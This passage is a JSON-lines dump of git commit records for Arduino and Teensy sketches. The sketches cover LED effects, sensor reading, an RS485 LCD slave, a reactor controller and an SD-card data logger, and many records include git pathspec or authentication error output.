9\n pinMode(9, INPUT);\n \n}\n\nvoid loop()\n{\n \n int sensorValue = analogRead(inputPin); \/\/Hooked up to potentiometer\n Serial.println(sensorValue);\n\n\/\/Split how the band functions at the halfway point\n\n\/\/From 0 - 512 the control will change the frequency of the pulsing\nif(sensorValue<=512){\n interval = map(sensorValue, 0,512,0,180);\n unsigned long currentMillis = millis();\n \n if(currentMillis - previousMillis > interval) {\n \/\/ save the last time you blinked the LED \n previousMillis = currentMillis; \n\n \/\/ if the LED is off turn it on and vice-versa:\n if (ledState == LOW)\n ledState = HIGH;\n else\n ledState = LOW;\n\n \/\/ set the LED with the ledState of the variable:\n digitalWrite(ledPin, ledState);\n }\n \n}\n\nif(sensorValue>512){\n interval = map(sensorValue, 512,1023,10000,0);\n \/\/ set the brightness of pin 9:\n analogWrite(ledPin, brightness); \n \n\n \/\/ change the brightness for next time through the loop:\n brightness = brightness + fadeAmount;\n \/\/ reverse the direction of the fading at the ends of the fade: \n if (brightness == 0 || brightness == 255) {\n fadeAmount = -fadeAmount ; \n } \n \n \/\/ wait for 30 milliseconds to see the dimming effect \n delayMicroseconds(interval); \n}\n\n\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mod\/E-Stim\/TCDS__Dual-State-Pot\/TCDS__Dual-State-Pot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b297c901ebe9418f4c8a2e880717afaae1a8845d","subject":"Add string equivalent example for teensy","message":"Add string equivalent example for teensy\n","repos":"BLAM-Lab-Projects\/finger-6","old_file":"platformio\/src_str\/adc_string.ino","new_file":"platformio\/src_str\/adc_string.ino","new_contents":"\/*\nPrototypical arduino\/teensy code.\nThis one sends things as chars, which allows it to be a bit more flexible,\nat the cost of efficiency. For example, sending the timestamp + two analog\nchannels takes 8 bytes in the more efficient code, but ~15 bytes in this code.\nAdditionally, you would need to parse the string on the other side.\nThe plus is that the output is human-readable.\n*\/\n\n#include \"ADC.h\"\n#include \"IntervalTimer.h\"\n\n\/\/ only the lines below needs to change\n\/\/ first line does which analog channels to read,\n\/\/ second line sets the sampling interval (in microseconds)\nconst unsigned int channel_array[2] = {A0, A7};\nconst unsigned long period_0 = 100000;\nconst unsigned int array_size = sizeof(channel_array) \/ sizeof(int);\n\nunsigned int value_array[array_size];\nunsigned int ii = 0;\nvolatile bool go_flag = false;\nbool go_flag_copy = false;\nelapsedMicros current_time;\nunsigned long current_time_copy = 0;\nIntervalTimer timer_0;\n\nADC *adc = new ADC();\n\nvoid setup() {\n for(ii = 0; ii < array_size; ii++) {\n pinMode(channel_array[ii], INPUT);\n }\n\n Serial.begin(9600);\n delay(1000);\n\n adc->setReference(ADC_REF_3V3, ADC_0);\n adc->setAveraging(8);\n adc->setResolution(12);\n adc->setConversionSpeed(ADC_HIGH_SPEED);\n adc->setSamplingSpeed(ADC_HIGH_SPEED);\n timer_0.priority(10);\n timer_0.begin(timerCallback, period_0);\n delay(500);\n}\n\nFASTRUN void timerCallback(void) {\n go_flag = true;\n}\n\nvoid loop() {\n\n while(!go_flag_copy) {\n noInterrupts();\n go_flag_copy = go_flag;\n interrupts();\n }\n go_flag_copy = false;\n go_flag = false;\n\n current_time_copy = current_time;\n for (ii = 0; ii < array_size; ii++) {\n value_array[ii] = adc->analogRead(channel_array[ii]);\n }\n\n Serial.print(current_time_copy);\n Serial.print(\" \");\n\n for (ii = 0; ii < array_size; ii++) {\n Serial.print(value_array[ii]);\n Serial.print(\" \");\n }\n Serial.print(\"\\n\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'platformio\/src_str\/adc_string.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f6b5a18a08ffebbd723da5d492668c2ab475f27f","subject":"testing atmega","message":"testing atmega\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/sketch.ino","new_file":"arduino\/src\/sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"00330df957a966d400f9ed032530e88ccc159bc2","subject":"a piece for a game I made at GHP","message":"a piece for a game I made at GHP","repos":"dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files,dvtate\/single-files","old_file":"led_button_timer.ino","new_file":"led_button_timer.ino","new_contents":"#include \"Arduino.h\"\n#include <inttypes.h>\n\n#define BUTTON_PIN 4\n#define BUZZ_PIN 5\n\n#define RED_LED_PIN 8\n#define GREEN_LED_PIN 9\n\n\nBiLED_pwm ind(9,8);\n\nvoid setup(){\n pinMode(BUTTON_PIN, INPUT);\n pinMode(BUZZ_PIN, OUTPUT);\n\n pinMode(RED_LED_PIN, OUTPUT);\n pinMode(GREEN_LED_PIN, OUTPUT);\n \n Serial.begin(9600);\n \n}\n\nvoid loop(){\n\n static uint8_t timeRemaining = 255;\n \n \/\/ wait until the button is pressed\n if (digitalRead(BUTTON_PIN)) {\n \n \/\/ wait until button is released\n while (digitalRead(BUTTON_PIN))\n delay(5);\n \n \/\/ start the timer\n digitalWrite(RED_LED_PIN, LOW);\n digitalWrite(GREEN_LED_PIN, HIGH);\n \n \/\/ wait until time runs out\n for (uint8_t timeRemaining = 0; timeRemaining < 255; timeRemaining++) {\n \n \/\/ change the LED color\n analogWrite(GREEN_LED_PIN, 255 - timeRemaining);\n analogWrite(RED_LED_PIN, timeRemaining);\n \n \/\/ they answered the question in time\n for (uint8_t wait = 0; wait < 4; wait++) {\n if (digitalRead(BUTTON_PIN))\n goto finished_question;\n delay(10);\n }\n }\n \n \/\/ they ran out of time\n tone(BUZZ_PIN, 500, 750);\n }\n\n\/\/ the question was answered or they ran out of time\nfinished_question:\n \n \/\/ turn off the LEDs \n digitalWrite(RED_LED_PIN, LOW);\n digitalWrite(GREEN_LED_PIN, LOW);\n \n \/\/ wait until the button is pressed again\n while (digitalRead(BUTTON_PIN))\n delay(5);\n\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'led_button_timer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"024d99191449d306f32ccd9226e6d36d44adf120","subject":"Create slave_lcd_grove.ino","message":"Create slave_lcd_grove.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"au\/slave_lcd_grove.ino","new_file":"au\/slave_lcd_grove.ino","new_contents":"#include <SoftwareSerial.h>\n#include \"RS485_protocol.h\"\n#include <Wire.h>\n#include \"rgb_lcd.h\"\n\nrgb_lcd lcd;\n\nconst int colorR = 255;\nconst int colorG = 0;\nconst int colorB = 0;\n\nSoftwareSerial rs485 (2, 3); \/\/ receive pin, transmit pin\nconst byte ENABLE_PIN = 4;\n\nvoid fWrite (const byte what)\n {\n rs485.write (what); \n }\n \nint fAvailable ()\n {\n return rs485.available (); \n }\n\nint fRead ()\n {\n return rs485.read (); \n }\n \nvoid setup()\n{\n rs485.begin (38400);\n pinMode (ENABLE_PIN, OUTPUT); \/\/ driver output enable\n lcd.begin(16, 2);\n \n lcd.setRGB(colorR, colorG, colorB);\n \n \/\/ Print a message to the LCD.\n lcd.print(\"hello, world!\");\n}\n\nvoid loop()\n{\n byte buf [100];\n \n byte received = recvMsg (fAvailable, fRead, buf, sizeof (buf));\n \n if (received)\n {\n if (buf [0] != 1)\n return; \/\/ not my device\n \n if (buf [1] != 2)\n return; \/\/ unknown command\n \n byte msg [] = {\n 0, \/\/ device 0 (master)\n 3, \/\/ turn light on command received\n };\n \n delay (100); \/\/ give the master a moment to prepare to receive\n digitalWrite (ENABLE_PIN, HIGH); \/\/ enable sending\n sendMsg (fWrite, msg, sizeof msg);\n digitalWrite (ENABLE_PIN, LOW); \/\/ disable sending\n \n \/\/ analogWrite (11, buf [2]); \/\/ set light level\n \n \nlcd.setCursor(0, 1);\n \/\/ print the number of seconds since reset:\n lcd.print(buf [2]); \n \n lcd.setCursor(10, 1);\n lcd.print(buf [1]); \n \n } \/\/ end if something received\n \n} \/\/ end of loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'au\/slave_lcd_grove.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6474cf402ee25b871bec5d1d3a55fe6956fdcb9c","subject":"Create sumo_hc_sr04.ino","message":"Create sumo_hc_sr04.ino","repos":"simplyellow\/auto-sumo","old_file":"sumo_hc_sr04.ino","new_file":"sumo_hc_sr04.ino","new_contents":"#define leftEcho 2 \/\/ left Echo Pin\n#define leftTrig 4 \/\/ left Trigger Pin\n#define rightEcho 7 \/\/ right Echo Pin\n#define rightTrig 6 \/\/ right Trigger Pin\n\nint maximumRange = 200; \/\/ Maximum range needed\nint minimumRange = 0; \/\/ Minimum range needed\nlong duration, leftDistance, rightDistance; \/\/ Duration used to calculate distance\n\nvoid calcDistance() {\n\/* The following trigPin\/echoPin cycle is used to determine the\n distance of the nearest object by bouncing soundwaves off of it. *\/ \n digitalWrite(leftTrig, LOW); \n delayMicroseconds(2); \n digitalWrite(leftTrig, HIGH);\n delayMicroseconds(10); \n digitalWrite(leftTrig, LOW);\n duration = pulseIn(leftEcho, HIGH);\n \/\/Calculate the distance (in cm) based on the speed of sound.\n leftDistance = duration\/58.2; \n \n digitalWrite(rightTrig, LOW); \n delayMicroseconds(2); \n digitalWrite(rightTrig, HIGH);\n delayMicroseconds(10); \n digitalWrite(rightTrig, LOW);\n duration = pulseIn(rightEcho, HIGH);\n \/\/Calculate the distance (in cm) based on the speed of sound.\n rightDistance = duration\/58.2; \n}\n\nvoid setup() {\n Serial.begin (9600);\n pinMode(leftTrig, OUTPUT);\n pinMode(leftEcho, INPUT);\n pinMode(rightTrig, OUTPUT);\n pinMode(rightEcho, INPUT);\n}\n\nvoid loop() {\n calcDistance();\n \n if (leftDistance >= maximumRange || leftDistance <= minimumRange){\n Serial.print(\"Left: \");\n Serial.println(\"-1\");\n }\n else {\n Serial.print(\"Left: \");\n Serial.println(leftDistance);\n }\n\n if (rightDistance >= maximumRange || rightDistance <= minimumRange){\n Serial.print(\"Right: \");\n Serial.println(\"-1\");\n }\n else {\n Serial.print(\"Right: \");\n Serial.println(rightDistance);\n }\n \n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sumo_hc_sr04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6014f1218d9d5ab8ba21ad81d5c7d02d8e8bb11b","subject":"added for 3 motors","message":"added for 3 motors\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_calib2.ino","new_file":"motor_calib2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1d9afc1deff4fe09b2f68796f63b4684d067ddeb","subject":"sbr preliminary code","message":"sbr preliminary code","repos":"dotsonlab\/awsc,dotsonlab\/awsc","old_file":"SBR\/SBR.ino","new_file":"SBR\/SBR.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_RGBLCDShield.h>\n#include <utility\/Adafruit_MCP23017.h>\n#include \"RTClib.h\"\nRTC_DS3231 rtc;\nAdafruit_RGBLCDShield lcd = Adafruit_RGBLCDShield();\n#define RED 0x1\n#define YELLOW 0x3\n#define GREEN 0x2\n#define TEAL 0x6\n#define BLUE 0x4\n#define VIOLET 0x5\n#define WHITE 0x7\nint en1 = 2; \/\/1 is fill\nint step1 = 3;\nint dir1 = 4;\nint en2 = 5;\/\/2 is decant\nint step2 = 6;\nint dir2 = 7;\nint air = 9;\nint stir = 8;\nint depth = A0;\nfloat tank;\nvoid setup() {\n pinMode(en1, OUTPUT);\n pinMode(en2, OUTPUT);\n pinMode(step1, OUTPUT);\n pinMode(step2, OUTPUT);\n pinMode(dir1, OUTPUT);\n pinMode(dir2, OUTPUT);\n pinMode(air, OUTPUT);\n pinMode(stir, OUTPUT);\n pinMode(depth, INPUT);\n digitalWrite(en1, HIGH);\n digitalWrite(en2, HIGH);\n lcd.begin(16, 2);\n if (! rtc.begin()) {\n lcd.print(\"Couldn't find RTC\");\n while (1);\n }\n\n if (rtc.lostPower()) {\n lcd.print(\"RTC lost power, lets set the time!\");\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n }\n \/\/ Print a message to the LCD. We track how long it takes since\n \/\/ this library has been optimized a bit and we're proud of it :)\n lcd.print(\"start!\");\n lcd.setBacklight(WHITE);\n delay(5000);\n}\nuint8_t i=0;\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n DateTime now = rtc.now();\n lcd.setCursor(0, 0);\n lcd.print(now.unixtime());\n lcd.setCursor(0, 1);\n lcd.print(millis()\/1000);\ndelay(1000);\n uint8_t buttons = lcd.readButtons();\n\n if (buttons) {\n lcd.clear();\n lcd.setCursor(0,0);\n if (buttons & BUTTON_UP) {\n lcd.print(\"UP \");\n lcd.setBacklight(RED);\n }\n if (buttons & BUTTON_DOWN) {\n lcd.print(\"DOWN \");\n lcd.setBacklight(YELLOW);\n }\n if (buttons & BUTTON_LEFT) {\n lcd.print(\"LEFT \");\n lcd.setBacklight(GREEN);\n }\n if (buttons & BUTTON_RIGHT) {\n lcd.print(\"RIGHT \");\n lcd.setBacklight(TEAL);\n }\n if (buttons & BUTTON_SELECT) {\n lcd.print(\"SELECT \");\n lcd.setBacklight(VIOLET);\n }\n }\n \/\/write conditions for running sequence here and add functions\n \/*fill();\n delay(5000);\n aeration();\n delay(5000);\n settle();\n delay(5000);\n decant();\n delay(5000);\n rest();\n delay(5000);*\/\n decant();\n}\nvoid fill(){\/\/check depth and fill until level is 25gal plus stir\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"FILL \");\n lcd.setBacklight(TEAL);\n measurevol();\n lcd.setCursor(0,1);\n lcd.print(tank);\n stepper(400, 1, 2);\n}\nvoid aeration(){\/\/check depth and keep air on and pumps off for time period\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Aeration \");\n lcd.setBacklight(GREEN);\n measurevol();\n lcd.setCursor(0,1);\n lcd.print(tank);\n int starttime = millis();\n while ((millis()-starttime)<10000){\n digitalWrite(air, HIGH);}\n digitalWrite(air, LOW);\n}\nvoid settle(){\/\/everything off just timer\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Settle \");\n lcd.setBacklight(YELLOW);\n measurevol();\n lcd.setCursor(0,1);\n lcd.print(tank);\n}\nvoid decant(){ \/\/ empty through decant pump checking volume\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Decant \");\n lcd.setBacklight(RED);\n measurevol();\n lcd.setCursor(0,1);\n lcd.print(tank);\n stepper(20000, 2, 1);\n}\nvoid rest(){ \/\/everything off except maybe stir\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"REST \");\n lcd.setBacklight(VIOLET);\n measurevol();\n lcd.setCursor(0,1);\n lcd.print(tank);\n}\nvoid stepper(int num, int motor, int direct){\n if (motor == 1){\n digitalWrite(en1, LOW); \n if (direct == 1){\n digitalWrite(dir1, HIGH);}\/\/empty\n else if (direct ==2){\n digitalWrite(dir1, LOW);}\/\/ fill\n for (int i=0; i<num; i++){\n digitalWrite(step1, HIGH);\n delay(3);\n digitalWrite(step1, LOW);\n delay(3);\n }\n digitalWrite(en1, HIGH);\n}\nelse if (motor ==2){\n digitalWrite(en2, LOW); \n if (direct == 1){\n digitalWrite(dir2, HIGH);}\/\/empty\n else if (direct ==2){\n digitalWrite(dir2, LOW);}\/\/ fill\n for (int i=0; i<=num; i++){\n digitalWrite(step2, HIGH);\n delay(2);\n digitalWrite(step2, LOW);\n delay(2);\n }\n digitalWrite(en2, HIGH);\n}\n}\nvoid measurevol(){\n int junk = analogRead(depth);\n float tank1 = analogRead(depth)*0.438596-30.7018;\n float tank2 = analogRead(depth)*0.438596-30.7018;\n float tank3 = analogRead(depth)*0.438596-30.7018;\n float tank4 = analogRead(depth)*0.438596-30.7018;\n float tank5 =analogRead(depth)*0.438596-30.7018;\n float tank6 = analogRead(depth)*0.438596-30.7018;\n float tank7 =analogRead(depth)*0.438596-30.7018;\n float tank8 = analogRead(depth)*0.438596-30.7018;\n tank = (tank1 + tank2 + tank3 + tank4 + tank5 + tank6 + tank7 + tank8)\/8;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SBR\/SBR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"628f82c9e8b8b0b83d7cd629e61e1927e003d59b","subject":"changed the test for the squares","message":"changed the test for the squares\n","repos":"aitoralmeida\/wireless-tictactoe,aitoralmeida\/wireless-tictactoe","old_file":"tictactoe\/testSquare\/testSquare.ino","new_file":"tictactoe\/testSquare\/testSquare.ino","new_contents":"int redPin = 46; \nint greenPin = 47; \nint colorPin = 0; \nint color = 0;\n\nvoid setup()\n{\n pinMode(redPin, OUTPUT); \n pinMode(greenPin, OUTPUT);\n Serial.begin(9600); \n}\n\nvoid red()\n{\n digitalWrite(redPin, HIGH); \n digitalWrite(greenPin, LOW); \n}\n\nvoid green()\n{\n digitalWrite(redPin, LOW); \n digitalWrite(greenPin, HIGH); \n}\n\nvoid none()\n{\n digitalWrite(redPin, LOW); \n digitalWrite(greenPin, LOW); \n}\n\n\nvoid loop()\n{\n color = analogRead(colorPin); \n Serial.println(color);\n \/\/Piezas plastico pintadas\n\n if (color < 560 && color > 510 ){\n green();\n } else if(color < 510 && color > 450 ){\n red();\n }else{\n none();\n }\n\n \n \/\/Piezas esca imprimidas\n \/*\n if (color < 265 && color > 250 ){\n green();\n } else if(color < 250 && color > 240 ){\n red();\n }else{\n none();\n }\n *\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tictactoe\/testSquare\/testSquare.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbfbacfdb102dabb7d3c2c7b9197bab2ad55ad16","subject":"Create candy_cane_stripes.ino","message":"Create candy_cane_stripes.ino","repos":"marmilicious\/FastLED_examples","old_file":"candy_cane_stripes.ino","new_file":"candy_cane_stripes.ino","new_contents":"\/\/***************************************************************\n\/\/ \"candy cane\" stripes\n\/\/ Original code concept by Christopher Kirkman\n\/\/ https:\/\/plus.google.com\/118127046082317810519\/posts\/WfEcTXiroke\n\/\/\n\/\/ Modified to use EVERY_N timer, added option to travel in\n\/\/ reverse, and added a third color option.\n\/\/\n\/\/ Marc Miller, Dec 2017\n\/\/ Add randomness for number of colors and length, Dec 2018\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 70\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n candyCane();\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\n\/\/Draw alternating bands of color, 2 or 3 colors.\n\/\/When using three colors, color1 is used between the other two colors.\nvoid candyCane(){\n CRGB color1 = CRGB::White; \/\/ color used between color 2 (and 3 if used)\n CRGB color2 = CRGB::Red;\n \/\/CRGB color3 = CHSV(0,170,255); \/\/optional 3rd color\n CRGB color3 = CRGB(0,255,0); \/\/optional 3rd color\n const uint16_t travelSpeed = 150;\n int shiftBy = 1; \/\/shiftBy can be positive or negative (to change direction)\n static uint8_t numColors = 3; \/\/ Can be either 2 or 3\n static uint8_t stripeLength = 5; \/\/number of pixels per color\n static int offset;\n\n EVERY_N_SECONDS(5) {\n numColors = random8(2,4); \/\/picks either 2 or 3\n stripeLength = random8(3,6); \/\/picks random length\n }\n\n EVERY_N_MILLISECONDS(travelSpeed) {\n if (numColors==2) {\n for (uint8_t i=0; i<NUM_LEDS; i++){\n if ( (i+offset)%((numColors)*stripeLength)<stripeLength ) {\n leds[i] = color2;\n } else {\n leds[i] = color1;\n }\n }\n }\n\n if (numColors==3) {\n for (uint8_t i=0; i<NUM_LEDS; i++){\n if ( (i+offset)%((numColors+1)*stripeLength)<stripeLength ) {\n leds[i] = color2;\n }\n else if ( (i+offset+(2*stripeLength))%((numColors+1)*stripeLength)<stripeLength ) {\n leds[i] = color3;\n } else {\n leds[i] = color1;\n }\n }\n }\n\n FastLED.show();\n\n offset = offset + shiftBy;\n if (shiftBy>0) { \/\/for positive shiftBy\n if (offset>=NUM_LEDS) offset = 0;\n } else { \/\/for negitive shiftBy\n if (offset<0) offset = NUM_LEDS;\n }\n\n }\/\/end EVERY_N\n}\/\/end candyCane\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'candy_cane_stripes.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8861ff6ec88ef7c308e6d288be5567b28d7a4bd6","subject":"Add Timer NTP sketch","message":"Add Timer NTP sketch\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"TimeNTP_ESP8266WiFi\/TimeNTP_ESP8266WiFi.ino","new_file":"TimeNTP_ESP8266WiFi\/TimeNTP_ESP8266WiFi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb6209d4a8f364eabca2cfd2aa4869d2437804ea","subject":"Debug serial prints","message":"Debug serial prints\n","repos":"PAAW\/mAEWing1,PAAW\/mAEWing1,PAAW\/mAEWing1","old_file":"Software\/BunnyRabbit\/BunnyRabbit.ino","new_file":"Software\/BunnyRabbit\/BunnyRabbit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PAAW\/mAEWing1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5cf95b9f5139570e4bac1a5342615e8800412d63","subject":"Low latency logger sample for Teensy 3.5\/3.6 SDIO SD slot.","message":"Low latency logger sample for Teensy 3.5\/3.6 SDIO SD slot.\n","repos":"tni\/teensy-samples","old_file":"SdFatSDIO_low_latency_logger.ino","new_file":"SdFatSDIO_low_latency_logger.ino","new_contents":"\/*\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * repository root).\n *\n * Copyright (c) 2017 Tilo Nitzsche. All rights reserved.\n *\n * https:\/\/github.com\/tni\/teensy-samples\n *\/\n\n\/\/ Sample code for data logging. It uses a pre-allocated, pre-erased\n\/\/ file to minimize latency from SD card writes. This can reduce\n\/\/ the worst case write latency from 850ms down to 40ms, drastically\n\/\/ reducing the required buffer size.\n\/\/ \n\/\/ It is intented for usage with SdFat beta:\n\/\/ https:\/\/github.com\/greiman\/SdFat-beta\n\/\/\n\/\/ with the Teensy 3.5 or 3.6 SDIO slot.\n\/\/\n\/\/ The log data is captured in an ISR, triggered by an 'IntervalTimer'.\n\/\/ An interrupt-safe FIFO is used for interrupt-safe communication\n\/\/ with the main loop which is responsible for writing the captured data\n\/\/ to the SD card.\n\n#include <array>\n#include <atomic>\n#include <SdFat.h>\n\n\/\/ Content for debugging purposes.\n\/\/ Replace with something useful.\nstruct LogEntry {\n uint32_t counter;\n uint32_t record_offset;\n uint32_t time;\n uint32_t dummy;\n};\n\n\/\/ Buffer that holds our log entries. When a buffer is full,\n\/\/ it is written to SD.\ntemplate<class entry_t, size_t entry_count>\nclass LogBuffer {\npublic:\n void addEntry(const entry_t& entry) {\n if(size < capacity) log_entries[size++] = entry;\n }\n bool full() { return size >= capacity; }\n \n static_assert(std::is_same<uint8_t, unsigned char>::value, \"Aliasing rule violation.\");\n uint8_t* rawData() { return (uint8_t*) log_entries.data(); }\n \n size_t rawSize() { return size * sizeof(entry_t); }\n void reset() { *this = {}; }\nprivate:\n static constexpr size_t capacity = entry_count;\n std::array<entry_t, capacity> log_entries = {};\n size_t size = 0;\n};\n\n\/\/ Simple lock free single-producer, single-consumer FIFO. Interrupt-safe.\n\/\/ It is intended for small entries.\n\/\/ Note: atomic_signal_fence is a compiler barrier only. It requires a CPU\n\/\/ with memory order guarantees (like ARM Cortex M) to be sufficient.\ntemplate<class entry_t, size_t capacity_>\nclass FifoSpSc {\npublic:\n \/\/ Add entry to end of FIFO. FIFO must not be full.\n void push(const entry_t& elem) {\n atomic_signal_fence(std::memory_order_acq_rel);\n const size_t write_pos_ = write_pos;\n buffer[write_pos_] = elem;\n atomic_signal_fence(std::memory_order_acq_rel);\n write_pos = nextPos(write_pos_);\n atomic_signal_fence(std::memory_order_acq_rel);\n }\n \/\/ Remove and return first FIFO entry. FIFO must not be empty.\n entry_t pop() {\n atomic_signal_fence(std::memory_order_acq_rel);\n const size_t read_pos_ = read_pos;\n entry_t ret = buffer[read_pos_];\n atomic_signal_fence(std::memory_order_acq_rel);\n read_pos = nextPos(read_pos_);\n atomic_signal_fence(std::memory_order_acq_rel);\n return ret;\n }\n bool empty() const { atomic_signal_fence(std::memory_order_acq_rel); return read_pos == write_pos; }\n bool full() const { atomic_signal_fence(std::memory_order_acq_rel); return read_pos == nextPos(write_pos); }\n size_t size() const {\n atomic_signal_fence(std::memory_order_acq_rel);\n const size_t read_pos_ = read_pos;\n const size_t write_pos_ = write_pos;\n return write_pos_ - read_pos_ + (write_pos_ >= read_pos_ ? 0 : buffer_size);\n }\n static size_t capacity() { return capacity_; }\nprivate:\n static size_t nextPos(size_t pos) { return pos + 1 < buffer_size ? pos + 1 : 0; }\n\n static constexpr size_t buffer_size = capacity_ + 1;\n std::array<entry_t, buffer_size> buffer;\n volatile size_t write_pos;\n volatile size_t read_pos;\n};\n\n\/\/ Class for pre-allocated, pre-erased file. \n\/\/ It has an internal buffer that holds partial sector writes. This allows efficient writes\n\/\/ of any size.\ntemplate<class sd_fat_t, class debuglog_t = void>\nclass PreallocatedFile {\npublic:\n enum Error {\n E_ok = 0, \/\/ no error\n E_eof, \/\/ end of file reached\n E_create_contiguous, \/\/ error allocating contiguous file\n E_erase, \/\/ error erasing allocated block\n E_write_block, \/\/ error writing data block\n };\n\n \/\/ Use SdFatSdio or SdFatSdioEX for sd_fat_t.\n \/\/ 'debuglog' is optionally used for printing debug messages. Use one of the Arduino Stream classes,\n \/\/ e.g. 'Serial'.\n PreallocatedFile(sd_fat_t& sd_fat, debuglog_t* debuglog = nullptr) : sd_fat(sd_fat), debuglog(debuglog) {}\n ~PreallocatedFile() { if(next_sector) close(); }\n \n \/\/ Create a pre-allocated, pre-erased contiguous file. Any existing file \n \/\/ with the same name, is erased.\n \/\/ Return true on success.\n bool create(const char* name, uint32_t size) {\n log(\"Creating file: %s\\n\", name);\n if(next_sector) close();\n last_error = E_ok;\n sd_fat.remove(name);\n if(!file.createContiguous(sd_fat.vwd(), name, size)) {\n log(\"ContigFile: createContiguous() failed\");\n last_error = E_create_contiguous;\n return false;\n }\n uint32_t first_sector, last_sector;\n if(!file.contiguousRange(&first_sector, &last_sector)) {\n log(\"PreallocatedFile: contiguousRange() failed\");\n last_error = E_create_contiguous;\n return false;\n }\n if(!sd_fat.card()->erase(first_sector, last_sector)) {\n log(\"PreallocatedFile: erase() failed\");\n last_error = E_erase;\n return false;\n }\n log(\"First sector: %u last sector: %u\\n\", first_sector, last_sector);\n this->first_sector = first_sector;\n this->last_sector = last_sector;\n next_sector = first_sector;\n\n file.flush();\n return true;\n }\n \n \/\/ Only full sectors can be written to disk. Partial sectors are automatically\n \/\/ buffered. Writes of any size are allowed.\n \/\/ sync_blocks == true closes the current multi-block write and allows the SD card to go\n \/\/ to sleep. Performance is much lower.\n bool write(const uint8_t* buffer, size_t size, bool sync_blocks = false) {\n last_error = E_ok;\n if(!next_sector || next_sector > last_sector) {\n last_error = E_eof;\n return false;\n }\n if(partial_sector_len) {\n size_t copy_len = std::min(512 - partial_sector_len, size);\n memcpy(partial_sector_buffer + partial_sector_len, buffer, copy_len);\n partial_sector_len += copy_len;\n if(partial_sector_len < 512) return true;\n if(!sd_fat.card()->writeBlocks(next_sector, partial_sector_buffer, 1)) {\n last_error = E_write_block;\n log(\"Error writing log file. Current sector: %u\\n\", next_sector);\n } \n next_sector++;\n buffer += copy_len;\n size -= copy_len;\n partial_sector_len = 0;\n 